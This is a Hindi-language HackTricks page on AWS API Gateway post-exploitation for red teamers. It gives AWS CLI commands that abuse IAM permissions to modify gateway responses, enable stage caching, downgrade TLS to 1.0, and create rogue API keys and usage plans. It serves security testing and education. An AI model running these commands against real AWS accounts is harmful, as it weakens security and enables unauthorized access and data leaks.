AWS - API Gateway Post Exploitation

htARTE (HackTricks AWS Red Team Expert) के साथ जीरो से हीरो तक AWS हैकिंग सीखें htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके:

API Gateway

अधिक जानकारी के लिए देखें:

pageAWS - API Gateway Enum

अनअपोज़्ड API तक पहुंचें

आप एक एंडपॉइंट बना सकते हैं https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint जिसमें सेवा com.amazonaws.us-east-1.execute-api हो, एंडपॉइंट को उस नेटवर्क में एक्सपोज़ करें जहां आपका एक्सेस है (संभावित रूप से एक EC2 मशीन के माध्यम से) और एक सुरक्षा समूह को सभी कनेक्शन्स की अनुमति दें। फिर, EC2 मशीन से आप एंडपॉइंट तक पहुंच सकेंगे और इसलिए पहले एक्सपोज़ नहीं किया गया गेटवे API को कॉल कर सकेंगे।

उपयोग योजना DoS

एनुमरेशन खंड में आप देख सकते हैं कि कैसे कुंजियों की उपयोग योजना प्राप्त करें। अगर आपके पास कुंजी है और यह महीने में X उपयोगों से सीमित है, तो आप इसे उपयोग करके डीओएस का कारण बना सकते हैं।

API कुंजी को बस एक HTTP हेडर में शामिल करना है जिसे x-api-key कहा जाता है।

apigateway:UpdateGatewayResponse, apigateway:CreateDeployment

अधिकार वाले एक हमलावर apigateway:UpdateGatewayResponse और apigateway:CreateDeployment की अनुमति के साथ मौजूदा गेटवे रिस्पॉन्स को सामान्य हेडर या प्रतिक्रिया टेम्पलेट शामिल करके संवेदनशील जानकारी या दुर्भाग्यपूर्ण स्क्रिप्ट्स को लीक करने के लिए संशोधित कर सकते हैं

API_ID="your-api-id"
RESPONSE_TYPE="DEFAULT_4XX"

# Update the Gateway Response
aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

संभावित प्रभाव: संवेदनशील जानकारी का लीक हो सकता है, दुरुपयोगी स्क्रिप्ट का निषेध या API संसाधनों तक अनधिकृत पहुंच।

जरूरत परीक्षण की

apigateway:UpdateStage, apigateway:CreateDeployment

एक हमलावर जिसके पास apigateway:UpdateStage और apigateway:CreateDeployment अनुमतियाँ हैं, मौजूदा API गेटवे स्टेज को संदर्भित ट्रैफिक को एक विभिन्न स्टेज पर पुनर्निर्देशित करने या कैशिंग सेटिंग्स को बदलकर कैश डेटा तक के अनधिकृत पहुंच को प्राप्त करने के लिए सक्षम हो सकता है.

API_ID="your-api-id"
STAGE_NAME="Prod"

# Update the API Gateway stage
aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

संभावित प्रभाव: कैश किए गए डेटा तक अनधिकृत पहुंच, API ट्रैफिक को बाधित या आपत्तिजनक रूप से अटकाना।

जरूरत परीक्षण की

apigateway:PutMethodResponse, apigateway:CreateDeployment

एक हमलावर जिसके पास apigateway:PutMethodResponse और apigateway:CreateDeployment अनुमतियाँ हैं, मौजूदा API गेटवे REST API विधि के विधि प्रतिक्रिया को संशोधित कर सकता है ताकि वह गोपनीय जानकारी लीक करने या दुरुपयोगी स्क्रिप्ट को क्रियान्वित करने के लिए कस्टम हेडर या प्रतिक्रिया टेम्पलेट शामिल कर सके

API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
STATUS_CODE="200"

# Update the method response
aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

संभावित प्रभाव: संवेदनशील जानकारी का लीक, दुरुपयोगी स्क्रिप्टों का क्रियान्वयन, या API संसाधनों तक अनधिकृत पहुंच।

जांच की आवश्यकता

apigateway:UpdateRestApi, apigateway:CreateDeployment

एक हमलावर जिसके पास apigateway:UpdateRestApi और apigateway:CreateDeployment अनुमतियाँ हैं, API गेटवे REST API सेटिंग को संशोधित कर सकता है ताकि लॉगिंग को अक्षम करें या न्यूनतम TLS संस्करण को बदलें, जिससे API की सुरक्षा कमजोर हो सकती है

API_ID="your-api-id"

# Update the REST API settings
aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER'

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

संभावित प्रभाव: API की सुरक्षा को कमजोर करना, अनधिकृत पहुंच की अनुमति या संवेदनशील जानकारी को उजागर करने की संभावना।

जांच की आवश्यकता

apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, apigateway:CreateUsagePlanKey

एक हमलावर जिसके पास apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, और apigateway:CreateUsagePlanKey अनुमतियाँ हैं, नए API कुंजियाँ बना सकता है, उन्हें उपयोग योजनाओं से जोड़ सकता है, और फिर इन कुंजियों का अनधिकृत पहुंच के लिए उपयोग कर सकता है

# Create a new API key
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')

# Create a new usage plan
USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id')

# Associate the API key with the usage plan
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY

संभावित प्रभाव: API संसाधनों तक अनधिकृत पहुंच, सुरक्षा नियंत्रणों को छलकरना।

जांच की आवश्यकता

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके:

Last updated